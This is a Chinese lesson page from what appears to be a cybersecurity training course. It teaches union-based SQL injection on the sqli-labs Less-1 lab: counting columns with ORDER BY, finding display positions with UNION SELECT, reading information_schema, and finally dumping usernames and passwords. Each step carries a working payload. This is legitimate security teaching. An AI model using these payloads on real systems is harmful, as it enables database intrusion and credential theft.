ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

【八个月网安课程】第五周·周三:联合查询注入——order by 猜列数,爆库/表/列/字段

【八个月网安课程】第五周·周三:联合查询注入——order by 猜列数,爆库/表/列/字段 今天将在确认注入点的基础上正式利用 UNION SELECT 逐步获取数据库结构信息。这是手工 SQL 注入中最经典的攻击链务必亲手在靶场完成每一步。第五周·周三联合查询注入——order by 猜列数爆库/表/列/字段 今日学习目标达成效果能用order by数字精确判断当前查询的列数并明白为什么这是后续联合查询的前提能使用UNION SELECT与负数 ID 结合将攻击者构造的数据回显到页面中并确定哪些列位置可以被回显能利用information_schema数据库获取当前数据库名、所有表名以及敏感表的列名能在 sqli-labs Less-1 中完整执行“猜列数 → 找显示位 → 爆库名 → 爆表名 → 爆列名 → 读取数据”的全流程并记录每一步的 payload能写出获取当前数据库名的注入语句并解释为什么将 1 替换为database()就能看到库名能从安全角度阐述information_schema成为攻击者利器以及防御参数化查询的必要性。 一、联合查询注入的完整思路链SQL 注入最终目标是获取敏感数据。当确认注入点存在后完整的攻击路径为确定当前查询的列数利用ORDER BY n按第 n 列排序。若 n 超出实际列数则报错通过二分法或递增法找到最大有效 n 即为列数。寻找页面回显位置用UNION SELECT 1,2,3,...替换原有查询。通常将原语句的结果置空如让 ID-1页面会只显示我们构造的数据。看到页面哪个位置出现了数字就说明对应的列会被打印出来以后可以把数据替换到这些位置。获取数据库基础信息在回显位填入数据库函数或子查询database()当前数据库名user()当前数据库用户version()数据库版本逐级扒取数据字典MySQL 会将所有数据库、表、列等元数据存储在information_schema库中information_schema.schemata→ 所有数据库名information_schema.tables→ 所有表table_schema指定数据库information_schema.columns→ 所有字段table_name指定表提取目标数据知道列名后直接从目标表中 SELECT 数据。Less-1 场景我们已知道其使用单引号闭合现在要利用 UNION SELECT ... --结构完成上述步骤。 二、步骤详解与 payload 示例以 Less-1 为例步骤 1确定列数ORDER BY 技术原始 URLhttp://靶机/Less-1/?id1 --我们要测试查询的列数。添加order by子句?id1 order by 1 --正常?id1 order by 2 --正常?id1 order by 3 --正常?id1 order by 4 --报错Unknown column 4 in order clause说明当前查询有3 列。列数不匹配时UNION SELECT会失败所以必须记住列数为 3。步骤 2找显示位UNION SELECT 空原数据为了只显示我们控制的输出让原查询没有结果。使用负数 ID?id-1 UNION SELECT 1,2,3 --页面会显示类似Your Login name:2 Your Password:3Login name位置显示了数字 2说明第 2 列内容会回显Password位置显示了数字 3说明第 3 列也会回显通常都可利用选一个即可。现在我们知道了可以在第 2 或第 3 列放置需要查询的数据。步骤 3爆库名database()将第 2 列替换为database()?id-1 UNION SELECT 1,database(),3 --页面Login name位置显示数据库名例如securitysqli-labs 的默认库。这就是当前数据库名。步骤 4爆表名information_schema.tables我们需要查询security库下所有表名。构造?id-1 UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --group_concat()将多个行结果拼接成一个字符串便于一次性显示。information_schema.tables表的table_schema字段指定数据库。页面会显示类似emails,referers,uagents,users。通常攻击者会关注users表。步骤 5爆列名information_schema.columns要查看users表中的列名?id-1 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_nameusers and table_schemasecurity --结果可能为id,username,password或包含其他字段。确认了username和password列。步骤 6拖取数据SELECT 目标表最后读取用户密码?id-1 UNION SELECT 1,group_concat(username,0x3a,password),3 from users --0x3a是冒号:的十六进制用于分隔用户名和密码。页面将显示所有用户名和密码对如Dumb:Dumb,Angelina:I-kill-you,...。至此一个完整的 SQL 注入攻击完成。 三、课后测试题与解析测试题写出获取当前库名的注入语句针对 Less-1。参考答案?id-1 UNION SELECT 1,database(),3 --解释-1使原查询无结果页面只显示我们联合查询的第二列数据UNION SELECT 1,database(),3中database()放在第 2 列因为之前确定第 2 列回显在Login name处--注释掉后面的单引号和LIMIT等保证语句正确。拓展测试尝试用user()和version()替换database()看页面显示什么信息。✅ 今日学习效果自检清单我理解order by n如何用于判断列数并能在靶场中复现我能够使用UNION SELECT 1,2,3找到回显位置我成功通过database()获取了当前数据库名我利用information_schema.tables获得了表名列表我利用information_schema.columns获得了列名列表我最终读取了 users 表中的用户名和密码我可以独立写出完整的 GET 注入 payload而不依赖任何工具⚠️ 阶段避坑重点ORDER BY 不能用负数或小数数字必须是正整数从 1 开始递增。UNION SELECT 的列数必须精确一致列数错误将直接报错无法进行任何下一步。information_schema 查询要用单引号括住库名/表名注意需要闭合外部引号。例如where table_schemasecurity如果外部是单引号闭合需写成security或使用十六进制编码避免引号冲突。URL 编码注意事项空格、引号、逗号等在浏览器地址栏直接输入时可能被误解手工测试时可直接在地址栏输入浏览器会自动编码。但用 curl 等工具时需自己处理编码。不要在生产环境运行仅限授权靶场。明天我们将继续在 Less-1 中深挖information_schema的其他应用以及使用group_concat批量提取数据的技巧并挑战 Less-2 数字型注入检验你是否真正掌握了注入逻辑而不只是背 payload。请务必熟练今天的每一步明天的内容将建立在此基础上。
返回列表